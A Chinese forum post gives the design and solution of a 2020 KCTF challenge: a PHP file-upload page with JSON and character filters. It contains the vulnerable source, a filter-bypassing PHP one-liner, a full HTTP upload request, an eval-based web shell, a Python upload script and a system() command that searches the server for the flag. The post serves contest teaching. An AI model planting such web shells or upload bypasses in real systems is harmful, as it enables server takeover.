首页
论坛
课程
招聘
[推荐]看雪·安恒 2020 KCTF 春季赛 | 第八题设计思路及解析 KCTF
2020-5-6 18:34 3624

[推荐]看雪·安恒 2020 KCTF 春季赛 | 第八题设计思路及解析 KCTF

2020-5-6 18:34
3624


第八题《牛刀小试》历时1天,共有1406人围观,最终共有34支战队成功破解。




开赛当天,各个战队互不想让,在第八题攻击通道开放 17 分钟后,98k 战队的 rmb122 攻破了题目,拿到一血,获得 99.74 积分。


随后,更多战队抓紧时间,选手的热情空前高涨,赛况十分激烈。

接下来让我们一起看一下这道题的设计思路和详细解析吧。



出题团队简介


本题出题战队 白帽酱:



团队简介:
白帽酱,一名普通的高中生。




设计思路


环境:PHP5.6+nginx
 
使用docker load  载入镜像:
docker load -i easyphp1.tar
docker run -d -p 2333:80 easyphp

<?php
if (isset($_FILES["file"]["tmp_name"])) {
    $file = fopen($_FILES["file"]["tmp_name"], "r");
    $data = fread($file, filesize($_FILES["file"]["tmp_name"]));
    $arr = json_decode($data, true, 2);
    if (json_last_error() != JSON_ERROR_NONE) {
        die("JsonErr");
    }
    if (count($arr) != 1) {
        die("DataErr");
    }
    $data = $arr['data'];
    $len = strlen($data);
    if ($len > 56) {
        die("Long");
    }
    if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) {
        die("no");
    }
    $name = mt_rand();
    $ext = strrchr($_FILES['file']['name'], '.');
    $ext = trim($ext);
    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext);
    echo "upload/" . $name . $ext;
} else {
    highlight_file(__FILE__);
}
?>

攻击方需要构造一个php文件读取根目录/下的flag。


文件必须符合json规范,禁止使用部分特殊符号,且有长度限制。

 

标准writeup


构造PHP一句话:


{"data": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}
POST / HTTP/1.1
Host: www.bilijk.tk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.8,en;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29882803486271100771841892137
Content-Length: 419

-----------------------------29882803486271100771841892137
Content-Disposition: form-data; name="file"; filename="123456.php"
Content-Type: application/octet-stream

{"data": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}
-----------------------------29882803486271100771841892137
Content-Disposition: form-data; name="submit"

Submit
-----------------------------29882803486271100771841892137--

利用上传后的php文件,读取根目录中的flag。






解析过程


本题解题思路由xtgo战队xjklewh提供: 


下载压缩文件后获得服务器地址:


http://47.102.223.17:2333/


访问后得到php源码。

进行代码审计发现两个可能存在的漏洞:

<?php
    if (isset($_FILES["file"]["tmp_name"])) {
    $file = fopen($_FILES["file"]["tmp_name"], "r");
    $data = fread($file, filesize($_FILES["file"]["tmp_name"]));
 
    //这里存在json解析执行任意远程代码漏洞
    $arr = json_decode($data, true, 2);
 
    //判断文件内容是否为json
    if (json_last_error() != JSON_ERROR_NONE) {
        die("JsonErr");
    }
 
    //判断json是否只有一个节点
    if (count($arr) != 1) {
        die("DataErr");
    }
 
    //取出data节点的数据
    $data = $arr['data'];
 
    //判断文本长度是否小于56
    $len = strlen($data);
    if ($len > 56) {
        die("Long");
    }
 
    //只要json节点name不是data,这个正则就直绕过了
    if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) {
        die("no");
    }
 
    //生成一个随机的文件名
    $name = mt_rand();
    $ext = strrchr($_FILES['file']['name'], '.');
    $ext = trim($ext);
 
    //把上传的文件拷贝到upload目录,这里存在绕过文件名限制漏洞,但和本题无关
    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext);
 
    //打印新文件路径
    echo "upload/" . $name . $ext;
 
} else {
 
    //高亮显示当前文件代码
    highlight_file(__FILE__);
}
?>


写webshell,只要name不为data,value里面放一句话木马即可:

{"ok":"<?php @eval($_POST['cmd']); ?>"}


然后写了个python脚本上传文件(Postman代理没配好,浪费时间了)

import requests
 
url = 'http://47.102.223.17:2333/'
 
def upload_file():
 
    files = [
        ('file', open('getshell.php', 'rb'))
    ]
 
    response = requests.request("POST", url, files=files)
 
    print(response.text)
 
if __name__ == '__main__':
    upload_file()


上传成功后发现一句话木马不见了,那就是成功被执行了:


用蚁剑连接:


然后在根目录下找到了flag:


PS:一定要认真读题啊,我还一直以为flag在apache的目录下,一直没找到flag...

然后写了个找flag的脚本。。。IQ-100

<?php system("find / -name  *flag*") ?>
<h1>xtgo writeup</h1>

全篇完。





[公告]请完善个人简历信息,好工作来找你!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回